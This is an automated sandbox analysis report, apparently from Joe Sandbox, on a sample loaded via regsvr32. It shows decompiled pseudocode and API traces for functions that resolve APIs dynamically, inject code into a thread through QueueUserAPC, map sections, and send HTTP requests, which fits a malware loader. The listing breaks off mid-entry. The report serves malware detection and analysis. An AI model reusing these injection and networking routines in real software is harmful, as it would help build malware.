                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                    • String ID: =
                    • API String ID: 2864389247-1428090586
                    • Opcode ID: 7080bd2a22e8f21a7cf0ec0869f28264bfe3ba47396c2057dd91ac7af2f86c54
                    • Instruction ID: 33a5827ab1e5ece36010e25bc5e9dc364d3b0b716ebef3fa11dc9dc97514a07c
                    • Opcode Fuzzy Hash: 7080bd2a22e8f21a7cf0ec0869f28264bfe3ba47396c2057dd91ac7af2f86c54
                    • Instruction Fuzzy Hash: 9C1182339117257B8612BBB89C85CAE37ADDE457743094016F904EB203DE74DD0257F1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71142 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 337 d71142-d71154 call d72046 340 d71215 337->340 341 d7115a-d7118f GetModuleHandleA GetProcAddress 337->341 342 d7121c-d71223 340->342 343 d71191-d711a5 GetProcAddress 341->343 344 d7120d-d71213 call d71cd6 341->344 343->344 345 d711a7-d711bb GetProcAddress 343->345 344->342 345->344 347 d711bd-d711d1 GetProcAddress 345->347 347->344 349 d711d3-d711e7 GetProcAddress 347->349 349->344 350 d711e9-d711fa call d71e76 349->350 352 d711ff-d71204 350->352 352->344 353 d71206-d7120b 352->353 353->342
                    C-Code - Quality: 100%
                    			E00D71142(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E00D72046(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0xd741c4 + 0xd7512f);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0xd741c4 + 0xd75139);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E00D71CD6(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0xd741c4 + 0xd75000);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0xd741c4 + 0xd750b9);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0xd741c4 + 0xd7505a);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0xd741c4 + 0xd75052);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E00D71E76(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}












                    0x00d71150
                    0x00d71154
                    0x00d71215
                    0x00d7115a
                    0x00d71172
                    0x00d71181
                    0x00d71188
                    0x00d7118a
                    0x00d7118f
                    0x00d7120d
                    0x00d7120e
                    0x00d71191
                    0x00d7119e
                    0x00d711a0
                    0x00d711a5
                    0x00000000
                    0x00d711a7
                    0x00d711b4
                    0x00d711b6
                    0x00d711bb
                    0x00000000
                    0x00d711bd
                    0x00d711ca
                    0x00d711cc
                    0x00d711d1
                    0x00000000
                    0x00d711d3
                    0x00d711e0
                    0x00d711e2
                    0x00d711e7
                    0x00000000
                    0x00d711e9
                    0x00d711ef
                    0x00d711f5
                    0x00d711fa
                    0x00d711ff
                    0x00d71204
                    0x00000000
                    0x00d71206
                    0x00d71209
                    0x00d71209
                    0x00d71204
                    0x00d711e7
                    0x00d711d1
                    0x00d711bb
                    0x00d711a5
                    0x00d7118f
                    0x00d71223

                    APIs
                      • Part of subcall function 00D72046: RtlAllocateHeap.NTDLL(00000000,?,00D7124D,00000030,74CB63F0,00000000), ref: 00D72052
                    • GetModuleHandleA.KERNEL32(?,00000020), ref: 00D71166
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00D71188
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00D7119E
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00D711B4
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00D711CA
                    • GetProcAddress.KERNEL32(00000000,?), ref: 00D711E0
                      • Part of subcall function 00D71E76: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 00D71ED3
                      • Part of subcall function 00D71E76: memset.NTDLL ref: 00D71EF5
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                    • String ID:
                    • API String ID: 3012371009-0
                    • Opcode ID: 472142885dd1a2d9309d7a1b260a683c2c411b2ebfddaf210bdbce4262dae64f
                    • Instruction ID: fa4822a63e2612ac4264e94bb4c3731c174871dc67942a369fe8e0169817d0ed
                    • Opcode Fuzzy Hash: 472142885dd1a2d9309d7a1b260a683c2c411b2ebfddaf210bdbce4262dae64f
                    • Instruction Fuzzy Hash: 482126B860070AAFD711EFA9DD81E6AB7ECEB043007448666E81DC7262F771ED448B70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D717EF Relevance: 9.1, APIs: 6, Instructions: 71memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 354 d717ef-d71803 355 d71805-d71806 354->355 356 d71874-d71881 InterlockedDecrement 354->356 357 d718c1-d718c8 355->357 358 d7180c-d71819 InterlockedIncrement 355->358 356->357 359 d71883-d71889 356->359 358->357 360 d7181f-d71833 HeapCreate 358->360 361 d718b5-d718bb HeapDestroy 359->361 362 d7188b 359->362 363 d71835-d71866 call d71df6 call d71f97 360->363 364 d7186f-d71872 360->364 361->357 365 d71890-d718a0 SleepEx 362->365 363->357 372 d71868-d7186b 363->372 364->357 366 d718a2-d718a7 365->366 367 d718a9-d718af CloseHandle 365->367 366->365 366->367 367->361 372->364
                    C-Code - Quality: 86%
                    			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0xd74188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0xd7418c;
						if( *0xd7418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0xd74198;
								if( *0xd74198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0xd7418c);
						}
						HeapDestroy( *0xd74190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0xd74188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0xd74190 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0xd741b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E00D71F97(E00D71FF5, E00D71DF6(_a12, 1, 0xd74198, _t41));
							 *0xd7418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}












                    0x00d717f2
                    0x00d717fe
                    0x00d71800
                    0x00d71803
                    0x00d71879
                    0x00d7187f
                    0x00d71881
                    0x00d71883
                    0x00d71889
                    0x00d7188b
                    0x00d71890
                    0x00d71893
                    0x00d7189e
                    0x00d718a0
                    0x00000000
                    0x00000000
                    0x00d718a2
                    0x00d718a5
                    0x00d718a7
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d718a7
                    0x00d718af
                    0x00d718af
                    0x00d718bb
                    0x00d718bb
                    0x00d71805
                    0x00d71806
                    0x00d71826
                    0x00d7182c
                    0x00d71831
                    0x00d71833
                    0x00d7186f
                    0x00d7186f
                    0x00d71835
                    0x00d7183d
                    0x00d71844
                    0x00d7184e
                    0x00d7185a
                    0x00d7185f
                    0x00d71866
                    0x00d7186b
                    0x00000000
                    0x00d7186b
                    0x00d71866
                    0x00d71833
                    0x00d71806
                    0x00d718c8

                    APIs
                    • InterlockedIncrement.KERNEL32(00D74188), ref: 00D71811
                    • HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 00D71826
                      • Part of subcall function 00D71F97: CreateThread.KERNEL32 ref: 00D71FAE
                      • Part of subcall function 00D71F97: QueueUserAPC.KERNEL32(?,00000000,?), ref: 00D71FC3
                      • Part of subcall function 00D71F97: GetLastError.KERNEL32(00000000), ref: 00D71FCE
                      • Part of subcall function 00D71F97: TerminateThread.KERNEL32(00000000,00000000), ref: 00D71FD8
                      • Part of subcall function 00D71F97: CloseHandle.KERNEL32(00000000), ref: 00D71FDF
                      • Part of subcall function 00D71F97: SetLastError.KERNEL32(00000000), ref: 00D71FE8
                    • InterlockedDecrement.KERNEL32(00D74188), ref: 00D71879
                    • SleepEx.KERNEL32(00000064,00000001), ref: 00D71893
                    • CloseHandle.KERNEL32 ref: 00D718AF
                    • HeapDestroy.KERNEL32 ref: 00D718BB
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
                    • String ID:
                    • API String ID: 2110400756-0
                    • Opcode ID: f6fe81d2b7ad76a4ddf51687df818046866a86d376499c35356e464bb41d23fa
                    • Instruction ID: cb524ce04e5f3b6739438c63095eed0caf2b5c0719d83b9c016d9e863d4d867e
                    • Opcode Fuzzy Hash: f6fe81d2b7ad76a4ddf51687df818046866a86d376499c35356e464bb41d23fa
                    • Instruction Fuzzy Hash: EE216A79A00315FFCB11AFADEC84A597BA8FB55760758822AF90DD2250F7308E809B71
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D851D8 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D851D8(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E00D82058(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E00D87B83(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                    0x00d851d8
                    0x00d851e5
                    0x00d851e7
                    0x00d8524a
                    0x00000000
                    0x00d8524a
                    0x00d851ff
                    0x00d85206
                    0x00d85212
                    0x00d85217
                    0x00d8522d
                    0x00d8523d
                    0x00000000
                    0x00d8522f
                    0x00d8522f
                    0x00d85236
                    0x00d85243
                    0x00d85243
                    0x00d85243
                    0x00d85236
                    0x00d8522d
                    0x00d85248
                    0x00000000
                    0x00000000
                    0x00d8524e

                    APIs
                    • ResetEvent.KERNEL32(?,00000008,?,?,00000102,00D821E7,?,?,74CF81D0,00000000), ref: 00D85212
                    • ResetEvent.KERNEL32(?), ref: 00D85217
                    • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 00D85224
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00D83F34,00000000,?,?), ref: 00D8522F
                    • GetLastError.KERNEL32(?,?,00000102,00D821E7,?,?,74CF81D0,00000000), ref: 00D8524A
                      • Part of subcall function 00D82058: lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,00D851F7,?,?,?,?,00000102,00D821E7,?,?,74CF81D0), ref: 00D82064
                      • Part of subcall function 00D82058: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,00D851F7,?,?,?,?,00000102,00D821E7,?), ref: 00D820C2
                      • Part of subcall function 00D82058: lstrcpy.KERNEL32(00000000,00000000), ref: 00D820D2
                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00D83F34,00000000,?), ref: 00D8523D
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                    • String ID:
                    • API String ID: 3739416942-0
                    • Opcode ID: fe0b57bf0f93946ddd30809eb93f15637537ff9bbc15a6c9520604fb08e25b28
                    • Instruction ID: d44190e85b3977931387d0b6e3077cf6f3cb5dc0d6a81cfde9d37b510856d0f6
                    • Opcode Fuzzy Hash: fe0b57bf0f93946ddd30809eb93f15637537ff9bbc15a6c9520604fb08e25b28
                    • Instruction Fuzzy Hash: 12018B31110B00AAD7307B65EC48F6BBBA9EF59761F280A25F495E11E4DB20E804DB38
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71F97 Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D71F97(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0xd741c0, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}








                    0x00d71fae
                    0x00d71fb4
                    0x00d71fb8
                    0x00d71fc3
                    0x00d71fcb
                    0x00d71fd4
                    0x00d71fd8
                    0x00d71fdf
                    0x00d71fe6
                    0x00d71fe8
                    0x00d71fee
                    0x00d71fcb
                    0x00d71ff2

                    APIs
                    • CreateThread.KERNEL32 ref: 00D71FAE
                    • QueueUserAPC.KERNEL32(?,00000000,?), ref: 00D71FC3
                    • GetLastError.KERNEL32(00000000), ref: 00D71FCE
                    • TerminateThread.KERNEL32(00000000,00000000), ref: 00D71FD8
                    • CloseHandle.KERNEL32(00000000), ref: 00D71FDF
                    • SetLastError.KERNEL32(00000000), ref: 00D71FE8
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                    • String ID:
                    • API String ID: 3832013932-0
                    • Opcode ID: b009c33db237008574e96993e95f168717f8fd9dff0f717e31944ef407aef6d2
                    • Instruction ID: f6a2c54b1e5d7c08ca9edb053b3287f4bb6b4eefb287ce062c4ba8cb42da4777
                    • Opcode Fuzzy Hash: b009c33db237008574e96993e95f168717f8fd9dff0f717e31944ef407aef6d2
                    • Instruction Fuzzy Hash: DAF01236105720FBD7125FA4AC08F5BBF69FF08752F044508F649D5360E7218A50ABB1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D82523 Relevance: 7.7, APIs: 5, Instructions: 161memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 59%
                    			E00D82523(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				CHAR* _t37;
				CHAR* _t44;
				CHAR* _t45;
				void* _t50;
				void* _t52;
				signed char _t57;
				intOrPtr _t59;
				signed int _t60;
				void* _t64;
				CHAR* _t68;
				CHAR* _t69;
				char* _t70;
				void* _t71;

				_t62 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E00D84520();
				if(_t21 != 0) {
					_t60 =  *0xd8a2fc; // 0x4000000a
					_t56 = (_t60 & 0xf0000000) + _t21;
					 *0xd8a2fc = (_t60 & 0xf0000000) + _t21;
				}
				_t22 =  *0xd8a178(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E00D83037( &_v8,  &_v20); // executed
					_t55 = _t25;
					_t26 =  *0xd8a348; // 0x435d5a8
					if( *0xd8a2fc > 5) {
						_t8 = _t26 + 0xd8b51d; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0xd8b9db; // 0x44283a44
						_t27 = _t7;
					}
					E00D84332(_t27, _t27);
					_t31 = E00D8415A(_t62,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t64 = 5;
					if(_t55 != _t64) {
						_t32 = E00D827A0();
						 *0xd8a310 =  *0xd8a310 ^ 0x81bbe65d;
						 *0xd8a36c = _t32;
						_t33 = E00D833DC(0x60);
						 *0xd8a3cc = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t33, 0, 0x60);
							_t50 =  *0xd8a3cc; // 0x50e9600
							_t71 = _t71 + 0xc;
							__imp__(_t50 + 0x40);
							_t52 =  *0xd8a3cc; // 0x50e9600
							 *_t52 = 0xd8b142;
						}
						_t55 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t37 = RtlAllocateHeap( *0xd8a2d8, 0, 0x43);
							 *0xd8a368 = _t37;
							__eflags = _t37;
							if(_t37 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t57 =  *0xd8a2fc; // 0x4000000a
								_t62 = _t57 & 0x000000ff;
								_t59 =  *0xd8a348; // 0x435d5a8
								_t13 = _t59 + 0xd8b74a; // 0x697a6f4d
								_t56 = _t13;
								wsprintfA(_t37, _t13, _t57 & 0x000000ff, _t57 & 0x000000ff, 0xd8927b);
							}
							_t55 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E00D83BD3( ~_v8 &  *0xd8a310,  &E00D8A00C); // executed
								_t55 = E00D81D8A(0, _t56, _t62, _t64,  &E00D8A00C);
								__eflags = _t55;
								if(_t55 != 0) {
									goto L30;
								}
								_t44 = E00D86EA3(_t62);
								__eflags = _t44;
								if(_t44 != 0) {
									__eflags = _v8;
									_t68 = _v12;
									if(_v8 != 0) {
										L29:
										_t45 = E00D86815(_t62, _t68, _v8); // executed
										_t55 = _t45;
										goto L30;
									}
									__eflags = _t68;
									if(__eflags == 0) {
										goto L30;
									}
									_t55 = E00D85C31(__eflags,  &(_t68[4]));
									__eflags = _t55;
									if(_t55 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t55 = 8;
							}
						}
					} else {
						_t69 = _v12;
						if(_t69 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0xd8a17c();
							}
							goto L34;
						}
						_t70 =  &(_t69[4]);
						do {
						} while (E00D823C4(_t64, _t70, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t55 = _t22;
					L34:
					return _t55;
				}
			}































                    0x00d82523
                    0x00d8252d
                    0x00d82530
                    0x00d82533
                    0x00d82536
                    0x00d8253d
                    0x00d8253f
                    0x00d8254b
                    0x00d8254d
                    0x00d8254d
                    0x00d82556
                    0x00d8255c
                    0x00d82561
                    0x00d8257b
                    0x00d82587
                    0x00d82589
                    0x00d8258e
                    0x00d82598
                    0x00d82598
                    0x00d82590
                    0x00d82590
                    0x00d82590
                    0x00d82590
                    0x00d8259f
                    0x00d825ac
                    0x00d825b3
                    0x00d825b8
                    0x00d825b8
                    0x00d825c1
                    0x00d825c4
                    0x00d825ea
                    0x00d825ef
                    0x00d825fb
                    0x00d82600
                    0x00d82605
                    0x00d8260a
                    0x00d8260c
                    0x00d82638
                    0x00d8263a
                    0x00d8260e
                    0x00d82612
                    0x00d82617
                    0x00d8261c
                    0x00d82623
                    0x00d82629
                    0x00d8262e
                    0x00d82634
                    0x00d8263b
                    0x00d8263d
                    0x00d8263f
                    0x00d8264e
                    0x00d82654
                    0x00d82659
                    0x00d8265b
                    0x00d8268b
                    0x00d8268d
                    0x00d8265d
                    0x00d8265d
                    0x00d82663
                    0x00d82670
                    0x00d82676
                    0x00d82676
                    0x00d8267e
                    0x00d82687
                    0x00d8268e
                    0x00d82690
                    0x00d82692
                    0x00d82699
                    0x00d826a6
                    0x00d826b0
                    0x00d826b2
                    0x00d826b4
                    0x00000000
                    0x00000000
                    0x00d826b6
                    0x00d826bb
                    0x00d826bd
                    0x00d826c4
                    0x00d826c8
                    0x00d826cb
                    0x00d826e0
                    0x00d826e4
                    0x00d826e9
                    0x00000000
                    0x00d826e9
                    0x00d826cd
                    0x00d826cf
                    0x00000000
                    0x00000000
                    0x00d826da
                    0x00d826dc
                    0x00d826de
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d826de
                    0x00d826c1
                    0x00d826c1
                    0x00d82692
                    0x00d825c6
                    0x00d825c6
                    0x00d825cb
                    0x00d826eb
                    0x00d826f0
                    0x00d826f8
                    0x00d826f8
                    0x00000000
                    0x00d826f0
                    0x00d825d1
                    0x00d825d4
                    0x00d825de
                    0x00d825e5
                    0x00000000
                    0x00d82700
                    0x00d82700
                    0x00d82703
                    0x00d82707
                    0x00d82707

                    APIs
                      • Part of subcall function 00D84520: GetModuleHandleA.KERNEL32(4C44544E,00000000,00D8253B,00000001), ref: 00D8452F
                    • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 00D825B8
                      • Part of subcall function 00D827A0: GetVersionExA.KERNEL32(?,00000042,00000000), ref: 00D827C4
                      • Part of subcall function 00D827A0: wsprintfA.USER32 ref: 00D82828
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • memset.NTDLL ref: 00D82612
                    • RtlInitializeCriticalSection.NTDLL(050E95C0), ref: 00D82623
                      • Part of subcall function 00D85C31: memset.NTDLL ref: 00D85C4B
                      • Part of subcall function 00D85C31: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 00D85C91
                      • Part of subcall function 00D85C31: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 00D85C9C
                    • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 00D8264E
                    • wsprintfA.USER32 ref: 00D8267E
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: AllocateHandleHeapmemsetwsprintf$CloseCriticalInitializeModuleSectionVersionlstrlen
                    • String ID:
                    • API String ID: 1825273115-0
                    • Opcode ID: 3abafc41ee1f7b48cca5198a277e162b4a51c04f6876f073e601832066a295c3
                    • Instruction ID: c1bfa0c1411ede1271178b3d2d55528809ed4395e48fdd49e7ebf796597f9a9d
                    • Opcode Fuzzy Hash: 3abafc41ee1f7b48cca5198a277e162b4a51c04f6876f073e601832066a295c3
                    • Instruction Fuzzy Hash: 4551F5B1A51315ABEB21BBA8DC9AF7E73A8FB04B10F180857F601E7251E77099408B75
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D84358 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(80000002), ref: 00D843B5
                    • SysAllocString.OLEAUT32(00D84D42), ref: 00D843F9
                    • SysFreeString.OLEAUT32(00000000), ref: 00D8440D
                    • SysFreeString.OLEAUT32(00000000), ref: 00D8441B
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: String$AllocFree
                    • String ID:
                    • API String ID: 344208780-0
                    • Opcode ID: 91e193eb2a1a0d4f6e7713138af47599a4847ae084a5d24556f2b22eddc9e351
                    • Instruction ID: 452770dae3367002ede0d52fe2fc27903f74939bdbeeefc8425fb7cb5784bcf0
                    • Opcode Fuzzy Hash: 91e193eb2a1a0d4f6e7713138af47599a4847ae084a5d24556f2b22eddc9e351
                    • Instruction Fuzzy Hash: FB311B7691020AEFCB04DFD8D8949AE7BB9FF58350B24842EF906DB250D7719A81CB71
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D8213E Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 65%
                    			E00D8213E(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t17;
				signed int _t18;
				unsigned int _t22;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t22 = _v12.dwHighDateTime;
					_t16 = (_t22 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t22 >> 5);
					_push(_t16);
					L00D88436();
					_t34 = _t16 + _t13;
					_t17 = E00D86269(_a4, _t34);
					_t30 = _t17;
					_t18 = 3;
					Sleep(_t18 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                    0x00d82143
                    0x00d8214e
                    0x00d8214f
                    0x00d8214f
                    0x00d8215b
                    0x00d82164
                    0x00d82167
                    0x00d8216b
                    0x00d8216d
                    0x00d82172
                    0x00d82173
                    0x00d82174
                    0x00d8217e
                    0x00d82181
                    0x00d82188
                    0x00d8218c
                    0x00d82193
                    0x00d82199
                    0x00d821a3

                    APIs
                    • SwitchToThread.KERNEL32(?,00000001,?,?,?,00D85044,?,?), ref: 00D8214F
                    • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,00D85044,?,?), ref: 00D8215B
                    • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 00D82174
                      • Part of subcall function 00D86269: memcpy.NTDLL(00000000,00000002,?,?,?,00000000,00000000), ref: 00D86308
